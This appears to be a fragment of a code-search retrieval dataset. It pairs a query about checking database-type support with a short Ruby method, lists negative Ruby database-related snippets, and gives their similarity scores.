"def load_database\n password = nil\n if not File.exists?(@options.db_file) then\n hsay 'Creating initial database.', :information\n password = prompt(\"Initial Password for (#{@options.db_file})\", :echo => \"*\", :validate => true)\n else\n password = prompt(\"Password for (#{@options.db_file})\", :echo => \"*\")\n end\n @db = Keybox::Storage::Container.new(password,@options.db_file)\n end",
"def initialize( *args )\n\t\turi = if args.empty?\n\t\t\t\tWordNet::Lexicon.default_db_uri\n\t\t\telsif args.first.is_a?( String )\n\t\t\t\targs.shift\n\t\t\telse\n\t\t\t\tnil\n\t\t\tend\n\n\t\toptions = WordNet::DEFAULT_DB_OPTIONS.merge( args.shift || {} )\n\n\t\tif uri\n\t\t\tself.log.debug \"Connecting using uri + options style: uri = %s, options = %p\" %\n\t\t\t\t[ uri, options ]\n\t\t\t@db = Sequel.connect( uri, options )\n\t\telse\n\t\t\tself.log.debug \"Connecting using hash style connect: options = %p\" % [ options ]\n\t\t\t@db = Sequel.connect( options )\n\t\tend\n\n\t\t@uri = @db.uri\n\t\tself.log.debug \" setting model db to: %s\" % [ @uri ]\n\n\t\[email protected]_log_level = :debug\n\t\tWordNet::Model.db = @db\n\tend",
"def db\n return @db unless @db.nil?\n\n Sequel.single_threaded = true\n @db = Sequel.connect(config(:sql_url), :encoding => 'utf8')\n #@db.loggers << Logger.new(STDOUT)\n if @db.tables.empty?\n dir = File.join(File.dirname(__FILE__), 'migrations')\n puts \"Database empty, running migrations from #{dir}\"\n Sequel.extension :migration\n Sequel::Migrator.apply(@db, dir)\n end\n\n @db\n end",
"def db\n self.class.db\n end",
"def db\n\t\tframework.db.active\n\tend",
"def db()\n db = SQLite3::Database.new(\"db/database.db\")\n db.results_as_hash = true\n return db\n end",
"def initialize(db)\n super\n\n @path = @db.opts[:path] if @db.opts[:path]\n @preload_results = true\n\n if @db.opts[:conn]\n @conn = @db.opts[:conn]\n else\n org.sqlite.JDBC\n reconnect\n end\n end",
"def appDB\n appEM.db\nend",
"def init\n if !response_service.admin_view?\n render json: { popup: 'Must be an admin to initialize the database!!' }\n elsif Rails.env.production?\n render json: { popup: 'Can\\'t initialize the production database!!' }\n else\n Answer.delete_all\n Authentication.delete_all\n Expression.delete_all\n Finder.delete_all\n List.delete_all\n Rcpref.delete_all\n Recipe.delete_all\n ImageReference.delete_all\n Referent.delete_all\n Referment.delete_all\n ReferentRelation.delete_all\n ResultsCache.delete_all\n Scraper.clear_all\n Site.delete_all\n TagSelection.delete_all\n Tag.delete_all\n TagOwner.delete_all\n Tagging.delete_all\n TagsCache.delete_all\n Tagset.delete_all\n # User.delete_all\n # UserRelation.delete_all\n Vote.delete_all\n sql = 'DELETE FROM delayed_jobs;'\n ActiveRecord::Base.connection.execute(sql)\n render json: { popup: 'Database is initialized and ready for scraping.' }\n end\n end",
"def setup_database!\n mapper = Praxis::Application.instance.plugins[:praxis_mapper]\n Sequel.connect(mapper.config.repositories[\"default\"]['connection_settings'].dump) do |db|\n db.create_table! :people do\n primary_key :id\n string :name\n end\n end\nend"
] |
[
"0.7329325",
"0.7113716",
"0.7069002",
"0.6977533",
"0.697443",
"0.6950054",
"0.68917745",
"0.68820333",
"0.6853088",
"0.68442684",
"0.68442684",
"0.678164",
"0.67755055",
"0.6761431",
"0.6759509",
"0.6753659",
"0.6744198",
"0.67287254",
"0.67105615",
"0.66989493",
"0.6698725",
"0.66917557",
"0.6685481",
"0.66777515",
"0.6674218",
"0.66718",
"0.6668856",
"0.6668206",
"0.6638887",
"0.6618256",
"0.6618256",
"0.66173327",
"0.6606323",
"0.65967685",
"0.65640026",
"0.6537641",
"0.6537641",
"0.6488204",
"0.64649385",
"0.64636445",
"0.6454938",
"0.6454232",
"0.64347345",
"0.64187866",
"0.6417681",
"0.6413262",
"0.6402328",
"0.6383347",
"0.6383347",
"0.63825613",
"0.63770217",
"0.6376932",
"0.6372138",
"0.636689",
"0.6362158",
"0.63614583",
"0.63422096",
"0.632836",
"0.63234586",
"0.63209856",
"0.63209724",
"0.6320413",
"0.63114244",
"0.63107",
"0.63053817",
"0.6305193",
"0.6305193",
"0.6298565",
"0.6274911",
"0.6272941",
"0.62722594",
"0.6266356",
"0.626103",
"0.62602186",
"0.6255014",
"0.62523097",
"0.6251402",
"0.62379473",
"0.622925",
"0.6220046",
"0.62199014",
"0.6215796",
"0.62141436",
"0.6210851",
"0.62072927",
"0.619073",
"0.61730194",
"0.6170625",
"0.61525285",
"0.61525285",
"0.61507475",
"0.61487025",
"0.6146297",
"0.61453265",
"0.61389124",
"0.6136022",
"0.61336106",
"0.61179566",
"0.61174935",
"0.6116896",
"0.6114193"
] |
0.0
|
-1
|
Check if we support +dbtype+
|
def supports?(dbtype)
(:ctan.eql? dbtype.to_sym)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def db_type\n @db_type || self.class.db_type\n end",
"def db_type\n @db_type || self.class.db_type\n end",
"def valid_type?(type)\n !native_database_types[type].nil?\n end",
"def type_supported?(type)\n Sequel.synchronize{return @supported_types[type] if @supported_types.has_key?(type)}\n supported = from(:pg_type).where(:typtype=>'b', :typname=>type.to_s).count > 0\n Sequel.synchronize{return @supported_types[type] = supported}\n end",
"def usable_with?(db)\n true\n end",
"def database_type(database)\n Contrib::Utils::Database.normalize_vendor(database.database_type.to_s)\n end",
"def schema_column_type(db_type)\n db_type =~ /\\Atinyint\\(1\\)/ ? :boolean : super\n end",
"def is_datatype?(); @type == GRT_DATATYPE; end",
"def schema_column_type(db_type)\n case db_type\n when /\\Atinyint/\n Sequel.convert_tinyint_to_bool ? :boolean : :integer\n when /\\A(int(eger)?|bigint|smallint)/\n :integer\n when /\\A(character( varying)?|varchar|text)/\n :string\n when /\\Adate\\z/\n :date\n when /\\A(datetime|timestamp( with(out)? time zone)?)\\z/\n :datetime\n when /\\Atime( with(out)? time zone)?\\z/\n :time\n when \"boolean\"\n :boolean\n when /\\A(real|float|double( precision)?)\\z/\n :float\n when /\\A(numeric(\\(\\d+,\\d+\\))?|decimal|money)\\z/\n :decimal\n when \"bytea\"\n :blob\n end\n end",
"def schema_column_type(db_type)\n Sequel::Mysql2.convert_tinyint_to_bool && db_type == 'tinyint(1)' ? :boolean : super\n end",
"def database_type\n :fdbsql\n end",
"def check_type(type)\n %w{galera mysql}.each do |t|\n return true if t == type\n end\n false\n end",
"def formatted_for_db?(found_converter, value)\n return false unless found_converter.respond_to?(:db_type)\n found_converter.respond_to?(:converted?) ? found_converter.converted?(value) : value.is_a?(found_converter.db_type)\n end",
"def getDatabaseType\n return ActiveRecord::Base.connection.adapter_name\n end",
"def is_database?\n return self.has_key?('source_display') &&\n Array(self['source_display']).include?(\"database\")\n end",
"def table?\n type == TYPE_CANONICAL\n end",
"def is_match_data_type?(db_field, gw_field)\n result = true\n if gw_field.is_a? Hash\n gw_value = gw_field[\"value\"]\n else\n gw_value = gw_field\n end\n case db_field.value_data_type\n when :integer\n if gw_value.class != Fixnum\n result = false\n end\n when :float\n if gw_value.class != Float\n result = false\n end\n end\n unless result\n Rails.logger.warn \"[DeviceService][sync_with_latest_state] Data type not match\"\n Rails.logger.warn \"db_field data type: #{db_field.value_data_type.to_s}.\"\n Rails.logger.warn \"gw_field value: #{gw_value}.\"\n end\n result\n end",
"def extended_types\n EXTENDED_DATABASE_TYPES\n end",
"def schema_column_type(db_type)\n case db_type\n when /\\A(int(eger)?|bigint|smallint)\\z/\n :integer\n when /\\A(character( varying)?|varchar|text)\\z/\n :string\n when /\\Adate\\z/\n :date\n when /\\A(datetime|timestamp( with(out)? time zone)?)\\z/\n :datetime\n when /\\Atime( with(out)? time zone)?\\z/\n :time\n when /\\A(boolean|tinyint)\\z/\n :boolean\n when /\\A(real|float|double( precision)?)\\z/\n :float\n when /\\A(numeric|decimal|money)\\z/\n :decimal\n end\n end",
"def schema_column_type(db_type)\n if convert_smallint_to_bool && db_type =~ /smallint/i \n :boolean\n else\n super\n end\n end",
"def schema_column_type(db_type)\n convert_tinyint_to_bool && db_type =~ /\\Atinyint\\(1\\)/ ? :boolean : super\n end",
"def native_database_types\n {\n :primary_key => \"integer not null primary key\",\n :string => { :name => \"varchar\", :limit => 255 },\n :text => { :name => \"blob sub_type text\" },\n :integer => { :name => \"integer\" },\n :float => { :name => \"float\" },\n :decimal => { :name => \"decimal\" },\n :datetime => { :name => \"timestamp\" },\n :timestamp => { :name => \"timestamp\" },\n :time => { :name => \"time\" },\n :date => { :name => \"date\" },\n :binary => { :name => \"blob\" },\n :boolean => { :name => boolean_domain[:name] }\n }\n end",
"def sql_type\n self['sql_type']\n end",
"def type_of_field_in_database(class_name, field_name)\n all_fields = class_name.get_table_info\n all_fields.each do |field|\n if field[\"name\"] == field_name\n return field[\"type\"]\n end\n end\n false\n end",
"def column_type(type)\n case type\n when :integer then Integer\n when :float, :decimal then Float\n when :string, :text, :uuid then String\n when :datetime, :timestamp, :time then DateTime\n when :date then Date\n when :boolean then Virtus::Attribute::Boolean # Boolean is not a standard Ruby class\n else\n raise \"Could not match column type '#{type}' for #{model_name}\"\n end\n end",
"def schema_column_type(db_type)\n case db_type\n when 'json'\n :json\n when 'jsonb'\n :jsonb\n else\n super\n end\n end",
"def is_database?\n key?('source_display') &&\n Array(self['source_display']).include?('database')\n end",
"def detect_database_type! # :nodoc:\n @file.seek(-3, IO::SEEK_END)\n @ip_bits = 32\n\n 0.upto(STRUCTURE_INFO_MAX_SIZE - 1) do |i|\n if @file.read(3).bytes.all? { |byte| byte == 255 }\n @database_type =\n\t if @file.respond_to?(:getbyte)\n\t @file.getbyte\n\t else\n\t @file.getc\n\t end\n\n @database_type -= 105 if @database_type >= 106\n\n if (@database_type == Edition::REGION_REV0)\n # Region Edition, pre June 2003\n @database_segments = [STATE_BEGIN_REV0]\n elsif (@database_type == Edition::REGION_REV1)\n # Region Edition, post June 2003\n @database_segments = [STATE_BEGIN_REV1]\n elsif @database_type == Edition::CITY_REV0 ||\n @database_type == Edition::CITY_REV1 ||\n @database_type == Edition::ORG ||\n @database_type == Edition::ORG_V6 ||\n @database_type == Edition::ISP ||\n @database_type == Edition::ISP_V6 ||\n\t @database_type == Edition::REGISTRAR ||\n\t @database_type == Edition::REGISTRAR_V6 ||\n\t @database_type == Edition::USERTYPE ||\t # Many of these files mis-identify as ASNUM files\n\t @database_type == Edition::USERTYPE_V6 ||\n @database_type == Edition::DOMAIN ||\n @database_type == Edition::DOMAIN_V6 ||\n @database_type == Edition::ASNUM ||\n @database_type == Edition::ASNUM_V6 ||\n\t @database_type == Edition::NETSPEED_REV1 ||\n\t @database_type == Edition::NETSPEED_REV1_V6 ||\n\t @database_type == Edition::LOCATIONA ||\n\t # @database_type == Edition::LOCATIONA_V6 ||\n\t @database_type == Edition::ACCURACYRADIUS ||\n\t @database_type == Edition::ACCURACYRADIUS_V6 ||\n @database_type == Edition::CITYCONF ||\n @database_type == Edition::COUNTRYCONF ||\n @database_type == Edition::REGIONCONF ||\n @database_type == Edition::POSTALCONF ||\n @database_type == Edition::CITY_REV0_V6 ||\n @database_type == Edition::CITY_REV1_V6\n\n # City/Org Editions have two segments, read offset of second segment\n @database_segments = [0]\n sr = @file.read(3).unpack(\"C*\")\n @database_segments[0] += le_to_ui(sr)\n\n end\n\n\tcase @database_type\n\twhen Edition::COUNTRY\n\twhen Edition::NETSPEED_REV1\n\twhen Edition::ASNUM\n\twhen Edition::CITY_REV0\n\twhen Edition::CITY_REV1\n\twhen Edition::REGION_REV0\n\twhen Edition::REGION_REV1\n\t @ip_bits = 32\n\t @record_length = 3\n\n\twhen Edition::ORG,\n\t Edition::DOMAIN,\n\t Edition::ISP\n\t @ip_bits = 32\n\t @record_length = 4\n\n\twhen Edition::ASNUM_V6,\n\t Edition::CITY_REV0_V6,\n\t Edition::CITY_REV1_V6,\n\t Edition::NETSPEED_REV1_V6,\n\t Edition::COUNTRY_V6,\n\t Edition::PROXY\n\t @ip_bits = 128\n\t @record_length = 3\n\n\twhen Edition::ACCURACYRADIUS_V6,\n\t Edition::DOMAIN_V6,\n\t Edition::ISP_V6,\n\t Edition::LARGE_COUNTRY_V6,\n\t Edition::LOCATIONA_V6,\n\t Edition::ORG_V6,\n\t Edition::REGISTRAR_V6,\n\t Edition::USERTYPE_V6\n\t @ip_bits = 128\n\t @record_length = 4\n\n\telse\n\t raise \"unimplemented database type\"\n\tend\n\n break\n else\n @file.seek(-4, IO::SEEK_CUR)\n end\n end\n\n if (@database_type == Edition::COUNTRY ||\n @database_type == Edition::PROXY ||\n @database_type == Edition::COUNTRY_V6 ||\n @database_type == Edition::NETSPEED)\n @database_segments = [COUNTRY_BEGIN]\n end\n\n # puts \"Detected IPv#{@ip_bits == 32 ? '4' : '6'} database_type #{@database_type} with #{@database_segments[0]} records of length #{@record_length} (data starts at #{@database_segments[0]*@record_length*2})\"\n end",
"def database_type\n :sqlite\n end",
"def native_database_types\n @native_database_types ||= super.merge(boolean: { name: 'bool' })\n end",
"def hgt_type_avail_db\n case hgt_type\n when :regular then\n [\"Regular\"]\n when :all\n [\"Regular\",\"Trivial\"]\n else\n #no other options\n raise AssertError.new \"\"\n\n end\n end",
"def sql_modes; end",
"def schema_column_type(db_type)\n case db_type\n when /\\Ainterval\\z/io\n :interval\n when /\\Acitext\\z/io\n :string\n else\n super\n end\n end",
"def native_database_types #:nodoc:\r\n {\r\n :primary_key => 'AUTOINC PRIMARY KEY CONSTRAINT NOT NULL',\r\n :string => { :name => \"varchar\", :limit => 255 },\r\n :text => { :name => \"memo\" },\r\n :integer => { :name => \"integer\" },\r\n :float => { :name => \"float\" },\r\n :decimal => { :name => \"numeric\" },\r\n :datetime => { :name => \"timestamp\" },\r\n :timestamp => { :name => \"timestamp\" },\r\n :time => { :name => \"time\" },\r\n :date => { :name => \"date\" },\r\n :binary => { :name => \"blob\" },\r\n :boolean => { :name => \"logical\"}\r\n }\r\n end",
"def use_prepared_statements_for?(type)\n if defined?(super)\n result = super\n return result unless result.nil?\n end\n\n case type\n when :insert, :insert_select, :update\n true\n # SEQUEL5: Remove :delete/:refresh\n when :delete\n return true unless model.fast_instance_delete_sql\n\n # Using deletes for prepared statements appears faster on Oracle and DB2,\n # but not for most other database types if optimized SQL is used.\n db_type = model.db.database_type\n db_type == :oracle || db_type == :db2\n when :refresh\n !model.fast_pk_lookup_sql\n else\n raise Error, \"unsupported type used: #{type.inspect}\"\n end\n end",
"def native?\n data = @db.q(\"SELECT DATABASE() AS db\").fetch\n return true if data.fetch(:db) == \"mysql\"\n false\n end",
"def database?\n\t\t\tif !(framework.db and framework.db.usable)\n\t\t\t\treturn false\n\t\t\telse\n\t\t\t\treturn true\n\t\t\tend\n\t\tend",
"def db_name?() @db_name.present? ; end",
"def db_name?() @db_name.present? ; end",
"def can_be?(btype)\n backend_types.keys.include?(btype)\n end",
"def database_column_type\n :string\n end",
"def needs_encoding?\n ![ :binary, :date, :datetime, :boolean, :float, :integer ].include?(type)\n end",
"def use_column_schema_to_ruby_default_fallback?\n database_type != :mysql\n end",
"def use_column_schema_to_ruby_default_fallback?\n database_type != :mysql\n end",
"def db_type_for(blast_method)\n case blast_method\n when 'blastp', 'blastx'\n :protein\n when 'blastn', 'tblastx', 'tblastn'\n :nucleotide\n end\n end",
"def aggregate_db_storage_type; end",
"def uses_record_type?\n list_class.attribute_names.include?('record_type')\n end",
"def simpledb_type\n model.storage_name(DataMapper.repository.name)\n end",
"def needs_encoding?\n ![ :binary, :date, :datetime, :boolean, :float, :integer ].include?(type)\n end",
"def sqlite?\n env_db == :sqlite3\nend",
"def database_type\n :oracle\n end",
"def schema_column_type(db_type)\n case db_type\n when 'inet', 'cidr'\n :ipaddr\n else\n super\n end\n end",
"def schema_column_type(db_type)\n case db_type\n when 'inet', 'cidr'\n :ipaddr\n else\n super\n end\n end",
"def storage_type\n @dbi.storage_type\n end",
"def storage_type\n @dbi.storage_type\n end",
"def active_db?\n framework.db.active\n end",
"def sequel_json_column?\n return false unless record.is_a?(::Sequel::Model)\n return false unless column = record.class.db_schema[data_attribute]\n\n [:json, :jsonb].include?(column[:type])\n end",
"def sql_type=(val)\n self['sql_type'] = val\n end",
"def database_type\n :as400\n end",
"def target_sql_mode; end",
"def sql_type(name)\n name = (name.kind_of?(String) ? name.split('.').first : name.to_s)\n\n return :belongs_to if belongs_to(name)\n\n # Skip using columns() cause we dont need to check for belongs_to\n column = columns.find { |col| col.name == name }\n\n if column.present?\n column.type\n elsif has_many(name)\n :has_many\n elsif has_one(name)\n :has_one\n elsif belongs_to_polymorphic(name)\n :belongs_to_polymorphic\n elsif has_and_belongs_to_many(name)\n :has_and_belongs_to_many\n elsif active_storage(name)\n :active_storage\n elsif name == 'id' && defined?(EffectiveObfuscation) && klass.respond_to?(:deobfuscate)\n :effective_obfuscation\n elsif name == 'roles' && defined?(EffectiveRoles) && klass.respond_to?(:with_role)\n :effective_roles\n elsif (name.ends_with?('_address') || name.ends_with?('_addresses')) && defined?(EffectiveAddresses) && (klass.new rescue nil).respond_to?(name)\n :effective_addresses\n elsif name.ends_with?('_id')\n :integer\n else\n :string\n end\n end",
"def include_type_name?\n type_name != \"_doc\" || connection.version.to_i < 7\n end",
"def ltype?\n return true\n end",
"def valid?\n return false unless @adapter\n if sqlite_adapter?\n return true if @database\n else\n return super\n end\n false\n end",
"def valid_model?(database_model)\n database_model == @mapping.database_model.to_s\n end",
"def by_type(id)\n DB_TYPE[id]\n end",
"def type_to_sql(type, limit = nil, precision = nil, scale = nil)\n return super unless NO_LIMIT_TYPES.include?(t = type.to_s.downcase.to_sym)\n\n native_type = NATIVE_DATABASE_TYPES[t]\n native_type.is_a?(Hash) ? native_type[:name] : native_type\n end",
"def schema_composite_type(db_type)\n @row_schema_types[db_type] || super\n end",
"def has_datatype?\n !datatype.nil?\n end",
"def check_db?\n @check_db == true\n end",
"def db\n @db == true ? TABLE : @db.try(:parameterize, separator: \"_\")\n end",
"def postgresql?\n config = ActiveRecord::Base.configurations[Rails.env]\n config && config['adapter'] == 'postgresql'\n end",
"def cross_schema_support?\n @cross_schema_support ||= (config[:adapter] =~ /(mysql)|(postgres)|(sqlserver)/i)\n end",
"def column_type(column)\n (sch = model.db_schema[column]) && sch[:type]\n end",
"def ruby_domo_type_match?(val, domo_column_type)\n case domo_column_type\n when Java::ComDomoSdkDatasetsModel::ColumnType::DATE\n return true if val.is_a? Date\n begin\n _ = Date.parse(val)\n return true\n rescue ArgumentError\n return false\n end\n when Java::ComDomoSdkDatasetsModel::ColumnType::DATETIME\n if val.is_a? LogStash::Timestamp or val.is_a? DateTime or val.is_a? Date or val.is_a? Time\n return true\n end\n begin\n _ = DateTime.parse(val)\n return true\n rescue ArgumentError\n return false\n end\n when Java::ComDomoSdkDatasetsModel::ColumnType::LONG\n if val.is_a? Integer\n return true\n end\n begin\n _ = Integer(val)\n return true\n rescue ArgumentError\n return false\n end\n when Java::ComDomoSdkDatasetsModel::ColumnType::DOUBLE\n if val.is_a? Float\n return true\n end\n begin\n _ = Float(val)\n return true\n rescue ArgumentError\n return false\n end\n else\n true\n end\n end",
"def type_to_sql(*args); connection.type_to_sql(*args); end",
"def record_with_type?(record)\n record.include?(inheritance_column) && !record[inheritance_column].nil? && \n !record[inheritance_column].empty?\n end",
"def builtin_type?\n\t\tfalse\n\tend",
"def is?(btype)\n type == btype\n end",
"def bson_type\n bson_int32? ? INT32_TYPE : (bson_int64? ? INT64_TYPE : out_of_range!)\n end",
"def sequel_auto_param_type(ds)\n if db_type && all?{|v| nil == v || ds.send(:auto_param_type, v)}\n s = String.new << \"::\"\n ds.quote_schema_table_append(s, db_type)\n s\n end\n end",
"def column_type\r\n @type\r\n end",
"def sequel_auto_param_type(ds)\n if db_type && all?{|_,v| nil == v || ds.send(:auto_param_type, v)}\n s = String.new << \"::\"\n ds.quote_schema_table_append(s, db_type)\n s\n end\n end",
"def preconditions\n ActiveRecord::VERSION::MAJOR >= 6 &&\n Helper.postgresql? &&\n primary_field? &&\n column.sql_type.to_s.match(TARGET_COLUMN_TYPE)\n end",
"def type_to_sql_with_notext(*args)\n type = type_to_sql_without_notext(*args)\n if type =~ /(text|blob)/\n 'varchar(2500)' # If this is bigger than about 21000 it always fails, and sometimes hits a row limit anyway if too large\n else\n type\n end\n end",
"def builtin_type?\n\t\ttrue\n\tend",
"def ctype\n select_value(\n \"SELECT pg_database.datctype FROM pg_database WHERE pg_database.datname LIKE '#{current_database}'\",\n 'SCHEMA')\n end",
"def available?(database)\n return false unless installed?(database)\n return true if created?(database)\n\n created_any_version?(database) ? updatable?(database) : creatable?(database)\n rescue ExtensionCreateError\n false\n end",
"def choose_sql_type(type_name, value_constraint, component, options)\n case MM::DataType.intrinsic_type(type_name)\n when MM::DataType::TYPE_Boolean\n data_type_context.boolean_type\n\n when MM::DataType::TYPE_Integer\n # The :auto_assign key is set for auto-assigned types, but with a nil value in foreign keys\n length = options[:length]\n if options.has_key?(:auto_assign)\n options[:default] ||= ' GENERATED ALWAYS AS IDENTITY' if options[:auto_assign]\n length = data_type_context.default_autoincrement_length\n type_name = 'int'\n end\n if chosen = MM::DataType.choose_integer(type_name, length, value_constraint, data_type_context)\n options.delete(:length)\n chosen\n else # No available integer seems to suit. Use the defined type and length\n type_name\n end\n\n when MM::DataType::TYPE_Real\n 'Double'\n\n when MM::DataType::TYPE_Decimal\n 'Decimal'\n\n when MM::DataType::TYPE_Money\n 'Currency'\n\n when MM::DataType::TYPE_Char\n data_type_context.default_char_type\n\n when MM::DataType::TYPE_String\n data_type_context.default_varchar_type\n\n when MM::DataType::TYPE_Text\n options[:length] ||= 'MAX'\n data_type_context.default_text_type\n\n when MM::DataType::TYPE_Date\n 'Date'\n\n when MM::DataType::TYPE_Time\n 'Time'\n\n when MM::DataType::TYPE_DateTime\n 'DateTime'\n\n when MM::DataType::TYPE_Timestamp\n 'Binary'\n\n when MM::DataType::TYPE_Binary\n # If it's a surrogate, that might change the length we use\n binary_surrogate(type_name, value_constraint, options)\n if options[:length]\n 'Binary' # Fixed length\n else\n 'Binary'\n end\n else\n type_name\n end\n end",
"def is_multi_database_project?\n tiny_tds_defined? && pg_defined?\n end",
"def schema_enum_type(db_type)\n :enum\n end",
"def does_db_exist?(db_instance_identifier)\n get_instance(db_instance_identifier).instance_create_time\n true\n rescue\n false\n end",
"def invalid_alter_table_type?(type, options)\n type.to_sym == :primary_key || options[:primary_key] ||\n options[:null] == false && options[:default].nil?\n end",
"def standard_sql?\n !legacy_sql?\n end",
"def kind?(name)\n table[name]&.kind\n end",
"def db_id?(key)\n key.is_a?(Fixnum) or key.is_a?(Integer) or key =~ /^[0-9]+$/\n end",
"def validate_field_types\n database_field_names.each do |field|\n field_info = self.class.get_table_info.select {|hash| hash[\"name\"] == field}.first\n check_field_value_matches_data_type(field_info, field) \n end\n @errors\n end",
"def db_exist?(db_name)\n list_schemas.include?(db_name)\n end",
"def supports_import?\n database_version >= MIN_VERSION_FOR_IMPORT\n end",
"def collect_db(db_type, host, user, password)\n case db_type\n when 'mysql'\n collect_mysql(host, user, password)\n when 'postgres'\n collect_postgres(host, user, password)\n else\n MyLog.log.error StandardError.new(\n \"db_type `#{db_type}` is neither `mysql` nor `postgres`.\"\n )\n end\n end"
] |
[
"0.762143",
"0.762143",
"0.75524944",
"0.7345472",
"0.7277032",
"0.7133891",
"0.69370157",
"0.69317716",
"0.6855211",
"0.6825903",
"0.6813181",
"0.67729324",
"0.6751216",
"0.67452",
"0.6703103",
"0.6689174",
"0.66813815",
"0.66797185",
"0.66789645",
"0.66730696",
"0.6652497",
"0.66448057",
"0.65682626",
"0.6547928",
"0.6522178",
"0.65168536",
"0.64622134",
"0.6459364",
"0.6452245",
"0.644937",
"0.6436705",
"0.64367",
"0.6390269",
"0.638216",
"0.63580155",
"0.6355577",
"0.63450646",
"0.63129044",
"0.63129044",
"0.6308617",
"0.62862223",
"0.626908",
"0.6264013",
"0.6264013",
"0.6260446",
"0.62526685",
"0.6245882",
"0.6231498",
"0.6197721",
"0.6162534",
"0.61510605",
"0.6150576",
"0.6150576",
"0.6127833",
"0.6127833",
"0.61262864",
"0.60891706",
"0.60652566",
"0.6056551",
"0.60561514",
"0.60475856",
"0.60388345",
"0.6036188",
"0.60301876",
"0.6012669",
"0.5983006",
"0.59821737",
"0.59778845",
"0.595215",
"0.5949021",
"0.59451157",
"0.59431607",
"0.5941085",
"0.5926979",
"0.5911456",
"0.5898864",
"0.5881662",
"0.58607394",
"0.5858666",
"0.5850731",
"0.58477163",
"0.58462965",
"0.5839536",
"0.5833384",
"0.58288056",
"0.58256316",
"0.58251387",
"0.58188426",
"0.58163553",
"0.5812346",
"0.5809347",
"0.58037937",
"0.580095",
"0.5790269",
"0.57868195",
"0.5784255",
"0.5781662",
"0.5779995",
"0.57795393",
"0.57652056"
] |
0.8588134
|
0
|
System medthod to init db structure
|
def dbs_init
@dbs_hash = Dir["#{dbs_store}/*.db"]
.map do |dbfile|
File.open(dbfile){|f| JSON.parse(f.read, symbolize_names: true)}
end
.inject({}) do |h, db|
h.update({
db[:name].to_sym => LaPack::const_get(db[:clazz]).new(self, db[:params])
})
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def setup_database\n Hanami::Model.load!\n end",
"def init_database\n\t\tif([email protected]_exists?(:events))\n\t\t\[email protected]_table :events do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :description\n\t\t\t\tString :date\n\t\t\tend\n\t\tend\n\n\t\tif([email protected]_exists?(:timeslots))\n\t\t\[email protected]_table :timeslots do\n\t\t\t\tString :time\n\t\t\t\tString :parent_table\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\n\t\tif([email protected]_exists?(:attendees))\n\t\t\[email protected]_table :attendees do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\tend",
"def init(dir)\n dir = File.expand_path(dir)\n db_file = db(dir)\n raise \"Database #{db_file} already exists\" if File.exist?(db_file)\n FileUtils.mkdir_p(File.dirname(db_file))\n # create database\n monotone(\"db init\", db_file)\n # TODO: do a genkey\n monotone(\"read\", db_file) do |io|\n io.write(File.open(@keys_file).read)\n io.close_write\n end\n end",
"def initDb\n @db.create_table! :tasks do\n primary_key :id\n Integer :created\n Integer :changed\n Integer :wake\n Integer :completed\n Integer :status\n String :title\n String :path\n String :data, :text=>TRUE\n end\n\n @db.create_table! :locks do\n Integer :id, :primary_key=>TRUE\n Integer :locked\n end\n end",
"def db_setup\n log_debug\n db_file = find_db\n db_tmp = '/tmp/plex_missing_tmp.db'\n @db = ''\n \n # cp to tmp as the db is locked if being used\n `cp \"#{db_file}\" #{db_tmp}`\n \n # not too sure why but i was having a problem where a 0 byte file was cp'd\n # def a local issue i assume but the check was needed\n if test ?s, db_tmp\n @db = SQLite3::Database.new db_tmp\n else \n puts \"error-> can not open #{db_tmp} for reasing\"\n exit 2\n end\n end",
"def create_initial_database\n db_class = RailsInstaller::Database.dbs[config['database']]\n in_directory(install_directory) do\n db_class.create(self)\n end\n end",
"def initialize_db_schema\n @db.exec(\n 'create table if not exists nodes\n (\n id SERIAL PRIMARY KEY,\n host VARCHAR(256) UNIQUE,\n last_seen TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,\n current_report INTEGER\n );\n\n create table if not exists collections\n (\n id SERIAL PRIMARY KEY,\n collection VARCHAR(256) NOT NULL,\n archived BOOL DEFAULT FALSE\n );\n\n create table if not exists reports\n (\n id SERIAL PRIMARY KEY,\n node_id INTEGER NOT NULL,\n file_handle INTEGER,\n status INTEGER NOT NULL,\n collection INTEGER NOT NULL,\n time TIMESTAMP NOT NULL,\n resources_changed INTEGER NOT NULL,\n resources_failed INTEGER NOT NULL,\n resources_total INTEGER NOT NULL,\n runtime REAL NOT NULL,\n new_report BOOL DEFAULT FALSE,\n FOREIGN KEY (node_id) REFERENCES nodes (id),\n FOREIGN KEY (collection) REFERENCES collections(id)\n );\n\n create table if not exists schemaversion\n (\n id SERIAL PRIMARY KEY,\n complete BOOL DEFAULT FALSE,\n comment VARCHAR(256) NOT NULL\n );\n create table if not exists reportdata\n (\n id SERIAL PRIMARY KEY,\n report bytea\n );\n '\n )\n end",
"def setup\n clear_db\n\n @db = Wgit::Database.new\n end",
"def init_example_db\n # Create repos table\n database.create_table :repos do\n primary_key :id\n String :name\n foreign_id :token_id\n end\n\n # Add example repositories\n r = database[:repos]\n r.insert(:name => \"josefwaller/pycatan\")\n r.insert(:name => \"josefwaller/github_dash\")\n r.insert(:name => \"rails/rails\")\n\n # Create tokens table\n database.create_table :tokens do\n primary_key :id\n String :token\n String :name\n end\n\n # Add example token\n t = database[:tokens]\n ENV['GITHUB_DASH_TOKEN'] ||= \"ThisIsAnExampleGithubApiKey\"\n t.insert(:token => ENV['GITHUB_DASH_TOKEN'])\n end",
"def initializeORM()\n\t# nothing to do\nend",
"def initialize_db\n create_indexes_for_all_models\n end",
"def reinitialize_db\n drop_db\n initialize_db\n end",
"def update_db\n require \"#{File.dirname(__FILE__)}/../conf/db_schema.rb\"\n Knj::Db::Revision.new.init_db(\"debug\" => false, \"db\" => @db, \"schema\" => Openall_time_applet::DB_SCHEMA)\n end",
